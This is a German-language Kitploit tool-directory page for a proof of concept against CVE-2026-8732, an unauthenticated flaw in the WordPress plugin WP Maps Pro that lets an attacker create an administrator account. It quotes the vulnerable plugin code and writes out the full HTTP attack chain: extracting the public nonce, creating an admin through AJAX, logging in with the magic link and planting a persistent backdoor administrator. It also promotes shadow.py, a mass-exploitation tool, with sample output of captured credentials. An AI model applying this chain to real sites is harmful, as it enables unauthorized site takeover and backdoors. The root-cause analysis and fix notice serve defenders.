Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - Nicht authentifizierte Privilegieneskalation durch Erstellung eines Administratorkontos | Kitploit
Tools/GitHubGitHub/xshadow-here/cve-2026-8732
Privilege EscalationPasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - Nicht authentifizierte Privilegieneskalation durch Erstellung eines Administratorkontos

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Nicht authentifizierte Privilegienausweitung durch Erstellung eines Administratorkontos ♡
=== shadow ♡ & friska ===


📋 Schwachstellen-Informationen

FeldDetails
CVE-IDCVE-2026-8732
CVSS-Score9.8 (Kritisch)
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypFehlende Authentifizierung für kritische Funktion
PluginWP Maps Pro (wp-google-map-gold)
BetroffenAlle Versionen ≤ 6.1.0
Behoben6.1.1
Veröffentlicht28. Mai 2026
ForscherDavid Brown
PoCShadow & Friska 😈

🔍 Beschreibung

Das WP Maps Pro-Plugin für WordPress ist anfällig für eine nicht authentifizierte Privilegienausweitung durch die Erstellung eines Administratorkontos.

Die AJAX-Aktion wpgmp_temp_access_ajax ist mit wp_ajax_nopriv_ registriert und wird nur durch eine Nonce-Prüfung mit der fc-call-nonce-Nonce geschützt — die über wp_localize_script als nonce-Feld des JavaScript-Objekts wpgmp_local öffentlich in jede Frontend-Seite eingebettet ist.

Dadurch wird die Nonce-Prüfung als Zugriffskontrollmechanismus völlig wirkungslos, sodass nicht authentifizierte Angreifer Folgendes tun können:

  1. Die Nonce aus einer beliebigen öffentlichen Seite extrahieren
  2. Den wpgmp_temp_access_support-Handler mit check_temp=false aufrufen
  3. Die bedingungslose Erstellung eines neuen WordPress-Administrator-Kontos auslösen
  4. Eine magische Login-URL erhalten, die wp_set_auth_cookie() aufruft — was vollen Admin-Zugriff gewährt
  5. Ein persistentes Hintertür-Konto erstellen

Ergebnis: Vollständige Übernahme der Website ohne vorherige Authentifizierung.


🧬 Ursachenanalyse

1. Hook innerhalb des is_admin()-Blocks registriert — aber is_admin() ist bei AJAX immer true

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. Nonce auf jeder Frontend-Seite offengelegt

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Jeder Besucher kann die Nonce aus dem Seitenquelltext lesen. WordPress-Nonces sind CSRF-Token — keine Authentifizierungstoken.

3. Keine Berechtigungsprüfung im AJAX-Callback

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Bedingungslose Erstellung eines Administratorkontos

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. Magischer Login über den init-Hook — kein Ablauf, keine Einmalverwendung

root@kitploit:~
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ Angriffskette

root@kitploit:~
[Unauthenticated Attacker]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Persistent Backdoor Created] 😈

🛠️ Werkzeuge

shadow.py — Vollständige Exploit-Kette

Einzelziel oder Massenausnutzung.

root@kitploit:~
# Interactive
python3 shadow.py

# Single target
python3 shadow.py -u https://target.com

# Mass exploit
python3 shadow.py -f targets.txt -t 20

Exploit-Phasen:

root@kitploit:~
Phase 1  ▶  Plugin & Feature Detection
Phase 2  ▶  Nonce Scan (parallel crawler)
Phase 3  ▶  Admin Creation via AJAX
Phase 4  ▶  Magic Login (wp_set_auth_cookie)
Phase 5  ▶  Persistent Backdoor (REST API)

Ausgabe (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Gegenmaßnahmen

Aktualisieren Sie WP Maps Pro auf Version 6.1.1 oder neuer.


[shadow ♡ friska] — nur für Bildungszwecke und autorisierte Sicherheitsforschung

Tool herunterladen